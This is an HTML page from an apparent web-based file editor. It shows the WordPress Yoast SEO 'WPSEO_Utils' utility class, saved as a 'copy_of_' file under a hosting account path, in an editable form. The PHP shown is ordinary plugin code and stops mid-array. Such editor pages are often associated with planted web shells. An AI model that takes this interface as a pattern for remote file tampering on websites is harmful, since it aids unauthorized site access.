<h2>File Contents: /home/planet5/public_html/wp-content/plugins/wordpress-seo/inc/copy_of_class-wpseo-utils.php</h2><form method='POST' action=''><input type='hidden' name='edit_file' value='/home/planet5/public_html/wp-content/plugins/wordpress-seo/inc/copy_of_class-wpseo-utils.php'><textarea name='file_content' rows='10' cols='50'>&lt;?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Internals
 * @since   1.8.0
 */

use Yoast\WP\SEO\Integrations\Feature_Flag_Integration;

/**
 * Group of utility methods for use by WPSEO.
 * All methods are static, this is just a sort of namespacing class wrapper.
 */
class WPSEO_Utils {

	/**
	 * Whether the PHP filter extension is enabled.
	 *
	 * @since 1.8.0
	 *
	 * @var bool
	 */
	public static $has_filters;

	/**
	 * Check whether file editing is allowed for the .htaccess and robots.txt files.
	 *
	 * {@internal current_user_can() checks internally whether a user is on wp-ms and adjusts accordingly.}}
	 *
	 * @since 1.8.0
	 *
	 * @return bool
	 */
	public static function allow_system_file_edit() {
		$allowed = true;

		if ( current_user_can( &#039;edit_files&#039; ) === false ) {
			$allowed = false;
		}

		/**
		 * Filter: &#039;wpseo_allow_system_file_edit&#039; - Allow developers to change whether the editing of
		 * .htaccess and robots.txt is allowed.
		 *
		 * @param bool $allowed Whether file editing is allowed.
		 */
		return apply_filters( &#039;wpseo_allow_system_file_edit&#039;, $allowed );
	}

	/**
	 * Check if the web server is running on Apache or compatible (LiteSpeed).
	 *
	 * @since 1.8.0
	 *
	 * @return bool
	 */
	public static function is_apache() {
		if ( ! isset( $_SERVER[&#039;SERVER_SOFTWARE&#039;] ) ) {
			return false;
		}

		$software = sanitize_text_field( wp_unslash( $_SERVER[&#039;SERVER_SOFTWARE&#039;] ) );

		return stripos( $software, &#039;apache&#039; ) !== false || stripos( $software, &#039;litespeed&#039; ) !== false;
	}

	/**
	 * Check if the web server is running on Nginx.
	 *
	 * @since 1.8.0
	 *
	 * @return bool
	 */
	public static function is_nginx() {
		if ( ! isset( $_SERVER[&#039;SERVER_SOFTWARE&#039;] ) ) {
			return false;
		}

		$software = sanitize_text_field( wp_unslash( $_SERVER[&#039;SERVER_SOFTWARE&#039;] ) );

		return stripos( $software, &#039;nginx&#039; ) !== false;
	}

	/**
	 * Check whether a url is relative.
	 *
	 * @since 1.8.0
	 *
	 * @param string $url URL string to check.
	 *
	 * @return bool
	 */
	public static function is_url_relative( $url ) {
		return YoastSEO()-&gt;helpers-&gt;url-&gt;is_relative( $url );
	}

	/**
	 * Recursively trim whitespace round a string value or of string values within an array.
	 * Only trims strings to avoid typecasting a variable (to string).
	 *
	 * @since 1.8.0
	 *
	 * @param mixed $value Value to trim or array of values to trim.
	 *
	 * @return mixed Trimmed value or array of trimmed values.
	 */
	public static function trim_recursive( $value ) {
		if ( is_string( $value ) ) {
			$value = trim( $value );
		}
		elseif ( is_array( $value ) ) {
			$value = array_map( [ self::class, &#039;trim_recursive&#039; ], $value );
		}

		return $value;
	}

	/**
	 * Emulate the WP native sanitize_text_field function in a %%variable%% safe way.
	 *
	 * Sanitize a string from user input or from the db.
	 *
	 * - Check for invalid UTF-8;
	 * - Convert single &lt; characters to entity;
	 * - Strip all tags;
	 * - Remove line breaks, tabs and extra white space;
	 * - Strip octets - BUT DO NOT REMOVE (part of) VARIABLES WHICH WILL BE REPLACED.
	 *
	 * @link https://core.trac.wordpress.org/browser/trunk/src/wp-includes/formatting.php for the original.
	 *
	 * @since 1.8.0
	 *
	 * @param string $value String value to sanitize.
	 *
	 * @return string
	 */
	public static function sanitize_text_field( $value ) {
		$filtered = wp_check_invalid_utf8( $value );

		if ( strpos( $filtered, &#039;&lt;&#039; ) !== false ) {
			$filtered = wp_pre_kses_less_than( $filtered );
			// This will strip extra whitespace for us.
			$filtered = wp_strip_all_tags( $filtered, true );
		}
		else {
			$filtered = trim( preg_replace( &#039;`[\r\n\t ]+`&#039;, &#039; &#039;, $filtered ) );
		}

		$found = false;
		while ( preg_match( &#039;`[^%](%[a-f0-9]{2})`i&#039;, $filtered, $match ) ) {
			$filtered = str_replace( $match[1], &#039;&#039;, $filtered );
			$found    = true;
		}
		unset( $match );

		if ( $found ) {
			// Strip out the whitespace that may now exist after removing the octets.
			$filtered = trim( preg_replace( &#039;` +`&#039;, &#039; &#039;, $filtered ) );
		}

		/**
		 * Filter a sanitized text field string.
		 *
		 * @since WP 2.9.0
		 *
		 * @param string $filtered The sanitized string.
		 * @param string $str      The string prior to being sanitized.
		 */
		return apply_filters( &#039;sanitize_text_field&#039;, $filtered, $value ); // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals -- Using WP native filter.
	}

	/**
	 * Sanitize a url for saving to the database.
	 * Not to be confused with the old native WP function.
	 *
	 * @since 1.8.0
	 *
	 * @param string $value             String URL value to sanitize.
	 * @param array  $allowed_protocols Optional set of allowed protocols.
	 *
	 * @return string
	 */
	public static function sanitize_url( $value, $allowed_protocols = [ &#039;http&#039;, &#039;https&#039; ] ) {

		// Percent-encode non-ASCII bytes in the path/query/fragment before parsing, so wp_parse_url()
		// does not corrupt multibyte UTF-8 characters. The authority (userinfo + host) is left untouched
		// to avoid double-encoding it during the sanitization below.
		if ( preg_match( &#039;/[\x80-\xff]/&#039;, $value ) === 1 ) {
			preg_match( &#039;`^((?:[a-z][a-z0-9+.\-]*:)?//[^/?#]*)?(.*)$`is&#039;, $value, $split );
			$value = $split[1] . preg_replace_callback(
				&#039;/[\x80-\xff]/&#039;,
				static function ( $bytes ) {
					return rawurlencode( $bytes[0] );
				},
				$split[2],
			);
		}

		$url   = &#039;&#039;;
		$parts = wp_parse_url( $value );

		if ( isset( $parts[&#039;scheme&#039;], $parts[&#039;host&#039;] ) ) {
			$url = $parts[&#039;scheme&#039;] . &#039;://&#039;;

			if ( isset( $parts[&#039;user&#039;] ) ) {
				$url .= rawurlencode( $parts[&#039;user&#039;] );
				$url .= isset( $parts[&#039;pass&#039;] ) ? &#039;:&#039; . rawurlencode( $parts[&#039;pass&#039;] ) : &#039;&#039;;
				$url .= &#039;@&#039;;
			}

			$parts[&#039;host&#039;] = preg_replace(
				&#039;`[^a-z0-9-.:\[\]\\x80-\\xff]`&#039;,
				&#039;&#039;,
				strtolower( $parts[&#039;host&#039;] ),
			);

			$url .= $parts[&#039;host&#039;] . ( isset( $parts[&#039;port&#039;] ) ? &#039;:&#039; . (int) $parts[&#039;port&#039;] : &#039;&#039; );
		}

		if ( isset( $parts[&#039;path&#039;] ) &amp;&amp; strpos( $parts[&#039;path&#039;], &#039;/&#039; ) === 0 ) {
			$path = explode( &#039;/&#039;, wp_strip_all_tags( $parts[&#039;path&#039;] ) );
			$path = self::sanitize_encoded_text_field( $path );
			$url .= str_replace( &#039;%40&#039;, &#039;@&#039;, implode( &#039;/&#039;, $path ) );
		}

		if ( ! $url ) {
			return &#039;&#039;;
		}

		if ( isset( $parts[&#039;query&#039;] ) ) {
			wp_parse_str( $parts[&#039;query&#039;], $parsed_query );

			$parsed_query = array_combine(
				self::sanitize_encoded_text_field( array_keys( $parsed_query ) ),
				self::sanitize_encoded_text_field( array_values( $parsed_query ) ),
			);

			$url = add_query_arg( $parsed_query, $url );
		}

		if ( isset( $parts[&#039;fragment&#039;] ) ) {
			$url .= &#039;#&#039; . self::sanitize_encoded_text_field( $parts[&#039;fragment&#039;] );
		}

		if ( strpos( $url, &#039;%&#039; ) !== false ) {
			$url = preg_replace_callback(
				&#039;`%[a-fA-F0-9]{2}`&#039;,
				static function ( $octects ) {
					return strtolower( $octects[0] );
				},
				$url,
			);
		}

		return esc_url_raw( $url, $allowed_protocols );
	}

	/**
	 * Decode, sanitize and encode the array of strings or the string.
	 *
	 * @since 13.3
	 *
	 * @param array|string $value The value to sanitize and encode.
	 *
	 * @return array|string The sanitized value.
	 */
	public static function sanitize_encoded_text_field( $value ) {
		if ( is_array( $value ) ) {
			return array_map( [ self::class, &#039;sanitize_encoded_text_field&#039; ], $value );
		}

		return rawurlencode( sanitize_text_field( rawurldecode( $value ) ) );
	}

	/**
	 * Validate a value as boolean.
	 *
	 * @since 1.8.0
	 *
	 * @param mixed $value Value to validate.
	 *
	 * @return bool
	 */
	public static function validate_bool( $value ) {
		if ( ! isset( self::$has_filters ) ) {
			self::$has_filters = extension_loaded( &#039;filter&#039; );
		}

		if ( self::$has_filters ) {
			return filter_var( $value, FILTER_VALIDATE_BOOLEAN );
		}
		else {
			return self::emulate_filter_bool( $value );
		}
	}

	/**
	 * Cast a value to bool.
	 *
	 * @since 1.8.0
	 *
	 * @param mixed $value Value to cast.
	 *
	 * @return bool
	 */
	public static function emulate_filter_bool( $value ) {
		$true  = [
			&#039;1&#039;,
			&#039;true&#039;,
			&#039;True&#039;,
			&#039;TRUE&#039;,
			&#039;y&#039;,
			&#039;Y&#039;,
			&#039;yes&#039;,
			&#039;Yes&#039;,
			&#039;YES&#039;,
			&#039;on&#039;,
			&#039;On&#039;,
			&#039;ON&#039;,
		];
		$false = [
			&#039;0&#039;,
			&#039;false&#039;,
			&#039;False&#039;,
			&#039;FALSE&#039;,
			&#039;n&#039;,
			&#039;N&#039;,
			&#039;no&#039;,
			&#039;No&#039;,
			&#039;NO&#039;,
			&#039;off&#039;,
			&#039;Off&#039;,
			&#039;OFF&#039;,
		];

		if ( is_bool( $value ) ) {
			return $value;
		}
		elseif ( is_int( $value ) &amp;&amp; ( $value === 0 || $value === 1 ) ) {
			return (bool) $value;
		}
		elseif ( ( is_float( $value ) &amp;&amp; ! is_nan( $value ) ) &amp;&amp; ( $value === (float) 0 || $value === (float) 1 ) ) {
			return (bool) $value;
		}
		elseif ( is_string( $value ) ) {
			$value = trim( $value );
			if ( in_array( $value, $true, true ) ) {
				return true;
			}
			elseif ( in_array( $value, $false, true ) ) {
				return false;
			}
			else {
				return false;
			}
		}

		return false;
	}

	/**
	 * Validate a value as integer.
	 *
	 * @since 1.8.0
	 *
	 * @param mixed $value Value to validate.
	 *
	 * @return int|bool Int or false in case of failure to convert to int.
	 */
	public static function validate_int( $value ) {
		if ( ! isset( self::$has_filters ) ) {
			self::$has_filters = extension_loaded( &#039;filter&#039; );
		}

		if ( self::$has_filters ) {
			return filter_var( $value, FILTER_VALIDATE_INT );
		}
		else {
			return self::emulate_filter_int( $value );
		}
	}

	/**
	 * Cast a value to integer.
	 *
	 * @since 1.8.0
	 *
	 * @param mixed $value Value to cast.
	 *
	 * @return int|bool
	 */
	public static function emulate_filter_int( $value ) {
		if ( is_int( $value ) ) {
			return $value;
		}
		elseif ( is_float( $value ) ) {
			// phpcs:ignore Universal.Operators.StrictComparisons -- Purposeful loose comparison.
			if ( (int) $value == $value &amp;&amp; ! is_nan( $value ) ) {
				return (int) $value;
			}
			else {
				return false;
			}
		}
		elseif ( is_string( $value ) ) {
			$value = trim( $value );
			if ( $value === &#039;&#039; ) {
				return false;
			}
			elseif ( ctype_digit( $value ) ) {
				return (int) $value;
			}
			elseif ( strpos( $value, &#039;-&#039; ) === 0 &amp;&amp; ctype_digit( substr( $value, 1 ) ) ) {
				return (int) $value;
			}
			else {
				return false;
			}
		}

		return false;
	}

	/**
	 * Clears the WP or W3TC cache depending on which is used.
	 *
	 * @since 1.8.0
	 *
	 * @return void
	 */
	public static function clear_cache() {
		if ( function_exists( &#039;w3tc_flush_posts&#039; ) ) {
			w3tc_flush_posts();
		}
		elseif ( function_exists( &#039;wp_cache_clear_cache&#039; ) ) {
			wp_cache_clear_cache();
		}
	}

	/**
	 * Clear rewrite rules.
	 *
	 * @since 1.8.0
	 *
	 * @return void
	 */
	public static function clear_rewrites() {
		update_option( &#039;rewrite_rules&#039;, &#039;&#039; );
	}

	/**
	 * Do simple reliable math calculations without the risk of wrong results.
	 *
	 * In the rare case that the bcmath extension would not be loaded, it will return the normal calculation results.
	 *
	 * @link http://floating-point-gui.de/
	 * @link http://php.net/language.types.float.php See the big red warning.
	 *
	 * @since 1.5.0
	 * @since 1.8.0 Moved from stand-alone function to this class.
	 *
	 * @param mixed  $number1   Scalar (string/int/float/bool).
	 * @param string $action    Calculation action to execute. Valid input:
	 *                          &#039;+&#039; or &#039;add&#039; or &#039;addition&#039;,
	 *                          &#039;-&#039; or &#039;sub&#039; or &#039;subtract&#039;,
	 *                          &#039;*&#039; or &#039;mul&#039; or &#039;multiply&#039;,
	 *                          &#039;/&#039; or &#039;div&#039; or &#039;divide&#039;,
	 *                          &#039;%&#039; or &#039;mod&#039; or &#039;modulus&#039;
	 *                          &#039;=&#039; or &#039;comp&#039; or &#039;compare&#039;.
	 * @param mixed  $number2   Scalar (string/int/float/bool).
	 * @param bool   $round     Whether or not to round the result. Defaults to false.
	 *                          Will be disregarded for a compare operation.
	 * @param int    $decimals  Decimals for rounding operation. Defaults to 0.
	 * @param int    $precision Calculation precision. Defaults to 10.
	 *
	 * @return mixed Calculation Result or false if either or the numbers isn&#039;t scalar or
	 *               an invalid operation was passed.
	 *               - For compare the result will always be an integer.
	 *               - For all other operations, the result will either be an integer (preferred)
	 *                 or a float.
	 */
	public static function calc( $number1, $action, $number2, $round = false, $decimals = 0, $precision = 10 ) {
		static $bc;

		if ( ! is_scalar( $number1 ) || ! is_scalar( $number2 ) ) {
			return false;
		}

		if ( ! isset( $bc ) ) {
			$bc = extension_loaded( &#039;bcmath&#039; );
		}

		if ( $bc ) {
			$number1 = number_format( $number1, 10, &#039;.&#039;, &#039;&#039; );
			$number2 = number_format( $number2, 10, &#039;.&#039;, &#039;&#039; );
		}

		$result  = null;
		$compare = false;

		switch ( $action ) {
			case &#039;+&#039;:
			case &#039;add&#039;:
			case &#039;addition&#039;:
				$result = ( $bc ) ? bcadd( $number1, $number2, $precision ) /* string */ : ( $number1 + $number2 );
				break;

			case &#039;-&#039;:
			case &#039;sub&#039;:
			case &#039;subtract&#039;:
				$result = ( $bc ) ? bcsub( $number1, $number2, $precision ) /* string */ : ( $number1 - $number2 );
				break;

			case &#039;*&#039;:
			case &#039;mul&#039;:
			case &#039;multiply&#039;:
				$result = ( $bc ) ? bcmul( $number1, $number2, $precision ) /* string */ : ( $number1 * $number2 );
				break;

			case &#039;/&#039;:
			case &#039;div&#039;:
			case &#039;divide&#039;:
				if ( $bc ) {
					$result = bcdiv( $number1, $number2, $precision ); // String, or NULL if right_operand is 0.
				}
				elseif ( $number2 != 0 ) { // phpcs:ignore Universal.Operators.StrictComparisons -- Purposeful loose comparison.
					$result = ( $number1 / $number2 );
				}

				if ( ! isset( $result ) ) {
					$result = 0;
				}
				break;

			case &#039;%&#039;:
			case &#039;mod&#039;:
			case &#039;modulus&#039;:
				if ( $bc ) {
					$result = bcmod( $number1, $number2 ); // String, or NULL if modulus is 0.
				}
				elseif ( $number2 != 0 ) { // phpcs:ignore Universal.Operators.StrictComparisons -- Purposeful loose comparison.
					$result = ( $number1 % $number2 );
				}

				if ( ! isset( $result ) ) {
					$result = 0;
				}
				break;

			case &#039;=&#039;:
			case &#039;comp&#039;:
			case &#039;compare&#039;:
				$compare = true;
				if ( $bc ) {
					$result = bccomp( $number1, $number2, $precision ); // Returns int 0, 1 or -1.
				}
				else {
					// phpcs:ignore Universal.Operators.StrictComparisons -- Purposeful loose comparison.
					$result = ( $number1 == $number2 ) ? 0 : ( ( $number1 &gt; $number2 ) ? 1 : -1 );
				}
				break;
		}

		if ( isset( $result ) ) {
			if ( $compare === false ) {
				if ( $round === true ) {
					$result = round( (float) $result, $decimals );
					if ( $decimals === 0 ) {
						$result = (int) $result;
					}
				}
				else {
					// phpcs:ignore Universal.Operators.StrictComparisons -- Purposeful loose comparison.
					$result = ( intval( $result ) == $result ) ? (int) $result : (float) $result;
				}
			}

			return $result;
		}

		return false;
	}

	/**
	 * Trim whitespace and NBSP (Non-breaking space) from string.
	 *
	 * @since 2.0.0
	 *
	 * @param string $text String input to trim.
	 *
	 * @return string
	 */
	public static function trim_nbsp_from_string( $text ) {
		$find = [ &#039;&amp;nbsp;&#039;, chr( 0xC2 ) . chr( 0xA0 ) ];
		$text = str_replace( $find, &#039; &#039;, $text );
		$text = trim( $text );

		return $text;
	}

	/**
	 * Check if a string is a valid datetime.
	 *
	 * @since 2.0.0
	 *
	 * @param string $datetime String input to check as valid input for DateTime class.
	 *
	 * @return bool
	 */
	public static function is_valid_datetime( $datetime ) {
		return YoastSEO()-&gt;helpers-&gt;date-&gt;is_valid_datetime( $datetime );
	}

	/**
	 * Format the URL to be sure it is okay for using as a redirect url.
	 *
	 * This method will parse the URL and combine them in one string.
	 *
	 * @since 2.3.0
	 *
	 * @param string $url URL string.
	 *
	 * @return mixed
	 */
	public static function format_url( $url ) {
		$parsed_url = wp_parse_url( $url );

		$formatted_url = &#039;&#039;;
		if ( ! empty( $parsed_url[&#039;path&#039;] ) ) {
			$formatted_url = $parsed_url[&#039;path&#039;];
		}

		// Prepend a slash if first char != slash.
		if ( stripos( $formatted_url, &#039;/&#039; ) !== 0 ) {
			$formatted_url = &#039;/&#039; . $formatted_url;
		}

		// Append &#039;query&#039; string if it exists.
		if ( ! empty( $parsed_url[&#039;query&#039;] ) ) {
			$formatted_url .= &#039;?&#039; . $parsed_url[&#039;query&#039;];
		}

		return apply_filters( &#039;wpseo_format_admin_url&#039;, $formatted_url );
	}

	/**
	 * Retrieves the sitename.
	 *
	 * @since 3.0.0
	 *
	 * @return string
	 */
	public static function get_site_name() {
		return YoastSEO()-&gt;helpers-&gt;site-&gt;get_site_name();
	}

	/**
	 * Check if the current opened page is a Yoast SEO page.
	 *
	 * @since 3.0.0
	 *
	 * @return bool
	 */
	public static function is_yoast_seo_page() {
		return YoastSEO()-&gt;helpers-&gt;current_page-&gt;is_yoast_seo_page();
	}

	/**
	 * Check if the current opened page belongs to Yoast SEO Free.
	 *
	 * @since 3.3.0
	 *
	 * @param string $current_page The current page the user is on.
	 *
	 * @return bool
	 */
	public static function is_yoast_seo_free_page( $current_page ) {
		$yoast_seo_free_pages = [
			&#039;wpseo_tools&#039;,
			&#039;wpseo_search_console&#039;,
		];

		return in_array( $current_page, $yoast_seo_free_pages, true );
	}

	/**
	 * Determine if Yoast SEO is in development mode?
	 *
	 * Inspired by JetPack (https://github.com/Automattic/jetpack/blob/master/class.jetpack.php#L1383-L1406).
	 *
	 * @since 3.0.0
	 *
	 * @return bool
	 */
	public static function is_development_mode() {
		$development_mode = false;

		if ( defined( &#039;YOAST_ENVIRONMENT&#039; ) &amp;&amp; YOAST_ENVIRONMENT === &#039;development&#039; ) {
			$development_mode = true;
		}
		elseif ( defined( &#039;WPSEO_DEBUG&#039; ) ) {
			$development_mode = WPSEO_DEBUG;
		}
		elseif ( site_url() &amp;&amp; strpos( site_url(), &#039;.&#039; ) === false ) {
			$development_mode = true;
		}

		/**
		 * Filter the Yoast SEO development mode.
		 *
		 * @since 3.0
		 *
		 * @param bool $development_mode Is Yoast SEOs development mode active.
		 */
		return apply_filters( &#039;yoast_seo_development_mode&#039;, $development_mode );
	}

	/**
	 * Retrieve home URL with proper trailing slash.
	 *
	 * @since 3.3.0
	 *
	 * @param string      $path   Path relative to home URL.
	 * @param string|null $scheme Scheme to apply.
	 *
	 * @return string Home URL with optional path, appropriately slashed if not.
	 */
	public static function home_url( $path = &#039;&#039;, $scheme = null ) {
		return YoastSEO()-&gt;helpers-&gt;url-&gt;home( $path, $scheme );
	}

	/**
	 * Checks if the WP-REST-API is available.
	 *
	 * @since 3.6
	 * @since 3.7 Introduced the $minimum_version parameter.
	 *
	 * @param string $minimum_version The minimum version the API should be.
	 *
	 * @return bool Returns true if the API is available.
	 */
	public static function is_api_available( $minimum_version = &#039;2.0&#039; ) {
		return ( defined( &#039;REST_API_VERSION&#039; )
			&amp;&amp; version_compare( REST_API_VERSION, $minimum_version, &#039;&gt;=&#039; ) );
	}

	/**
	 * Determine whether or not the metabox should be displayed for a post type.
	 *
	 * @param string|null $post_type Optional. The post type to check the visibility of the metabox for.
	 *
	 * @return bool Whether or not the metabox should be displayed.
	 */
	protected static function display_post_type_metabox( $post_type = null ) {
		if ( ! isset( $post_type ) ) {
			$post_type = get_post_type();
		}

		if ( ! isset( $post_type ) || ! WPSEO_Post_Type::is_post_type_accessible( $post_type ) ) {
			return false;
		}

		if ( $post_type === &#039;attachment&#039; &amp;&amp; WPSEO_Options::get( &#039;disable-attachment&#039; ) ) {
			return false;
		}

		return apply_filters( &#039;wpseo_enable_editor_features_&#039; . $post_type, WPSEO_Options::get( &#039;display-metabox-pt-&#039; . $post_type ) );
	}

	/**
	 * Determine whether or not the metabox should be displayed for a taxonomy.
	 *
	 * @param string|null $taxonomy Optional. The post type to check the visibility of the metabox for.
	 *
	 * @return bool Whether or not the metabox should be displayed.
	 */
	protected static function display_taxonomy_metabox( $taxonomy = null ) {
		if ( ! isset( $taxonomy ) || ! in_array( $taxonomy, get_taxonomies( [ &#039;public&#039; =&gt; true ], &#039;names&#039; ), true ) ) {
			return false;
		}

		return WPSEO_Options::get( &#039;display-metabox-tax-&#039; . $taxonomy );
	}

	/**
	 * Determines whether the metabox is active for the given identifier and type.
	 *
	 * @param string $identifier The identifier to check for.
	 * @param string $type       The type to check for.
	 *
	 * @return bool Whether or not the metabox is active.
	 */
	public static function is_metabox_active( $identifier, $type ) {
		if ( $type === &#039;post_type&#039; ) {
			return self::display_post_type_metabox( $identifier );
		}

		if ( $type === &#039;taxonomy&#039; ) {
			return self::display_taxonomy_metabox( $identifier );
		}

		return false;
	}

	/**
	 * Determines whether the plugin is active for the entire network.
	 *
	 * @return bool Whether the plugin is network-active.
	 */
	public static function is_plugin_network_active() {
		return YoastSEO()-&gt;helpers-&gt;url-&gt;is_plugin_network_active();
	}

	/**
	 * Gets the type of the current post.
	 *
	 * @return string The post type, or an empty string.
	 */
	public static function get_post_type() {
		$wp_screen = get_current_screen();

		if ( $wp_screen !== null &amp;&amp; ! empty( $wp_screen-&gt;post_type ) ) {
			return $wp_screen-&gt;post_type;
		}
		return &#039;&#039;;
	}

	/**
	 * Gets the type of the current page.
	 *
	 * @return string Returns &#039;post&#039; if the current page is a post edit page. Taxonomy in other cases.
	 */
	public static function get_page_type() {
		global $pagenow;
		if ( WPSEO_Metabox::is_post_edit( $pagenow ) ) {
			return &#039;post&#039;;
		}

		return &#039;taxonomy&#039;;
	}

	/**
	 * Getter for the Adminl10n array. Applies the wpseo_admin_l10n filter.
	 *
	 * @return array The Adminl10n array.
	 */
	public static function get_admin_l10n() {
		$post_type = self::get_post_type();
		$page_type = self::get_page_type();

		$label_object = false;
		$no_index     = false;

		if ( $page_type === &#039;post&#039; ) {
			$label_object = get_post_type_object( $post_type );
			$no_index     = WPSEO_Options::get( &#039;noindex-&#039; . $post_type, false );
		}
		else {
			$label_object = WPSEO_Taxonomy::get_labels();

			$wp_screen = get_current_screen();

			if ( $wp_screen !== null &amp;&amp; ! empty( $wp_screen-&gt;taxonomy ) ) {
				$taxonomy_slug = $wp_screen-&gt;taxonomy;
				$no_index      = WPSEO_Options::get( &#039;noindex-tax-&#039; . $taxonomy_slug, false );
			}
		}

		$wpseo_admin_l10n = [
			&#039;displayAdvancedTab&#039;    =&gt; WPSEO_Capability_Utils::current_user_can( &#039;wpseo_edit_advanced_metadata&#039; ) || ! WPSEO_Options::get( &#039;disableadvanced_meta&#039; ),
			&#039;noIndex&#039;               =&gt; (bool) $no_index,
			&#039;isPostType&#039;            =&gt; (bool) get_post_type(),
			&#039;postType&#039;              =&gt; get_post_type(),
			&#039;postTypeNamePlural&#039;    =&gt; ( $page_type === &#039;post&#039; ) ? $label_object-&gt;label : $label_object-&gt;name,
			&#039;postTypeNameSingular&#039;  =&gt; ( $page_type === &#039;post&#039; ) ? $label_object-&gt;labels-&gt;singular_name : $label_object-&gt;singular_name,
			&#039;isBreadcrumbsDisabled&#039; =&gt; WPSEO_Options::get( &#039;breadcrumbs-enable&#039;, false ) !== true &amp;&amp; ! current_theme_supports( &#039;yoast-seo-breadcrumbs&#039; ),
			&#039;isAiFeatureActive&#039;     =&gt; (bool) WPSEO_Options::get( &#039;enable_ai_generator&#039; ),
		];

		$additional_entries = apply_filters( &#039;wpseo_admin_l10n&#039;, [] );
		if ( is_array( $additional_entries ) ) {
			$wpseo_admin_l10n = array_merge( $wpseo_admin_l10n, $additional_entries );
		}

		return $wpseo_admin_l10n;
	}

	/**
	 * Retrieves the analysis worker log level. Defaults to errors only.
	 *
	 * Uses bool YOAST_SEO_DEBUG as flag to enable logging. Off equals ERROR.
	 * Uses string YOAST_SEO_DEBUG_ANALYSIS_WORKER as log level for the Analysis
	 * Worker. Defaults to INFO.
	 * Can be: TRACE, DEBUG, INFO, WARN or ERROR.
	 *
	 * @return string The log level to use.
	 */
	public static function get_analysis_worker_log_level() {
		if ( defined( &#039;YOAST_SEO_DEBUG&#039; ) &amp;&amp; YOAST_SEO_DEBUG ) {
			return defined( &#039;YOAST_SEO_DEBUG_ANALYSIS_WORKER&#039; ) ? YOAST_SEO_DEBUG_ANALYSIS_WORKER : &#039;INFO&#039;;
		}

		return &#039;ERROR&#039;;
	}

	/**
	 * Returns the unfiltered home URL.
	 *
	 * In case WPML is installed, returns the original home_url and not the WPML version.
	 * In case of a multisite setup we return the network_home_url.
	 *
	 * @codeCoverageIgnore
	 *
	 * @return string The home url.
	 */
	public static function get_home_url() {
		return YoastSEO()-&gt;helpers-&gt;url-&gt;network_safe_home_url();
	}

	/**
	 * Prepares data for outputting as JSON.
	 *
	 * @param array $data The data to format.
	 *
	 * @return string|false The prepared JSON string.
	 */
	public static function format_json_encode( $data ) {
		$flags = JSON_UNESCAPED_UNICODE;

		if ( self::is_development_mode() ) {
			$flags = ( $flags | JSON_PRETTY_PRINT );

			/**
			 * Filter the Yoast SEO development mode.
			 *
			 * @param array $data Allows filtering of the JSON data for debug purposes.
			 */
			$data = apply_filters( &#039;wpseo_debug_json_data&#039;, $data );
		}

		// phpcs:ignore Yoast.Yoast.JsonEncodeAlternative.FoundWithAdditionalParams -- This is the definition of format_json_encode.
		return wp_json_encode( $data, $flags );
	}

	/**
	 * Extends the allowed post tags with accessibility-related attributes.
	 *
	 * @codeCoverageIgnore
	 *
	 * @param array $allowed_post_tags The allowed post tags.
	 *
	 * @return array The allowed tags including post tags, input tags and select tags.
	 */
	public static function extend_kses_post_with_a11y( $allowed_post_tags ) {
		static $a11y_tags;

		if ( isset( $a11y_tags ) === false ) {
			$a11y_tags = [
				&#039;button&#039;   =&gt; [
					&#039;aria-expanded&#039; =&gt; true,
					&#039;aria-controls&#039; =&gt; true,
				],
				&#039;div&#039;      =&gt; [
					&#039;tabindex&#039; =&gt; true,
				],
				// Below are attributes that are needed for backwards compatibility (WP &lt; 5.1).
				&#039;span&#039;     =&gt; [
					&#039;aria-hidden&#039; =&gt; true,
				],
				&#039;input&#039;    =&gt; [
					&#039;aria-describedby&#039; =&gt; true,
				],
				&#039;select&#039;   =&gt; [
					&#039;aria-describedby&#039; =&gt; true,
				],
				&#039;textarea&#039; =&gt; [
					&#039;aria-describedby&#039; =&gt; true,
				],
			];

			// Add the global allowed attributes to each html element.
			$a11y_tags = array_map( &#039;_wp_add_global_attributes&#039;, $a11y_tags );
		}

		return array_merge_recursive( $allowed_post_tags, $a11y_tags );
	}

	/**
	 * Extends the allowed post tags with input, select and option tags.
	 *
	 * @codeCoverageIgnore
	 *
	 * @param array $allowed_post_tags The allowed post tags.
	 *
	 * @return array The allowed tags including post tags, input tags, select tags and option tags.
	 */
	public static function extend_kses_post_with_forms( $allowed_post_tags ) {
		static $input_tags;

		if ( isset( $input_tags ) === false ) {
			$input_tags = [
				&#039;input&#039; =&gt; [
					&#039;accept&#039;          =&gt; true,
					&#039;accesskey&#039;       =&gt; true,
					&#039;align&#039;           =&gt; true,
					&#039;alt&#039;             =&gt; true,
					&#039;autocomplete&#039;    =&gt; true,
					&#039;autofocus&#039;       =&gt; true,
					&#039;checked&#039;         =&gt; true,
					&#039;contenteditable&#039; =&gt; true,
					&#039;dirname&#039;         =&gt; true,
					&#039;disabled&#039;        =&gt; true,
					&#039;draggable&#039;       =&gt; true,
					&#039;dropzone&#039;        =&gt; true,
					&#039;form&#039;            =&gt; true,
					&#039;formaction&#039;      =&gt; true,
					&#039;formenctype&#039;     =&gt; true,
					&#039;formmethod&#039;      =&gt; true,
					&#039;formnovalidate&#039;  =&gt; true,
					&#039;formtarget&#039;      =&gt; true,
					&#039;height&#039;          =&gt; true,
					&#039;hidden&#039;          =&gt; true,
					&#039;lang&#039;            =&gt; true,
					&#039;list&#039;            =&gt; true,
					&#039;max&#039;             =&gt; true,
					&#039;maxlength&#039;       =&gt; true,
					&#039;min&#039;             =&gt; true,
					&#039;multiple&#039;        =&gt; true,
					&#039;name&#039;            =&gt; true,
					&#039;pattern&#039;         =&gt; true,
					&#039;placeholder&#039;     =&gt; true,
					&#039;readonly&#039;        =&gt; true,
					&#039;required&#039;        =&gt; true,
					&#039;size&#039;            =&gt; true,
					&#039;spellcheck&#039;      =&gt; true,
					&#039;src&#039;             =&gt; true,
					&#039;step&#039;            =&gt; true,
					&#039;tabindex&#039;        =&gt; true,
					&#039;translate&#039;       =&gt; true,
					&#039;type&#039;            =&gt; true,
					&#039;value&#039;           =&gt; true,
					&#039;width&#039;           =&gt; true,

					/*
					 * Below are attributes that are needed for backwards compatibility (WP &lt; 5.1).
					 * They are used for the social media image in the metabox.
					 * These can be removed once we move to the React versions of the social previews.
					 */
					&#039;data-target&#039;     =&gt; true,
					&#039;data-target-id&#039;  =&gt; true,
				],
				&#039;select&#039; =&gt; [
					&#039;accesskey&#039;       =&gt; true,
					&#039;autofocus&#039;       =&gt; true,
					&#039;contenteditable&#039; =&gt; true,
					&#039;disabled&#039;        =&gt; true,
					&#039;draggable&#039;       =&gt; true,
					&#039;dropzone&#039;        =&gt; true,
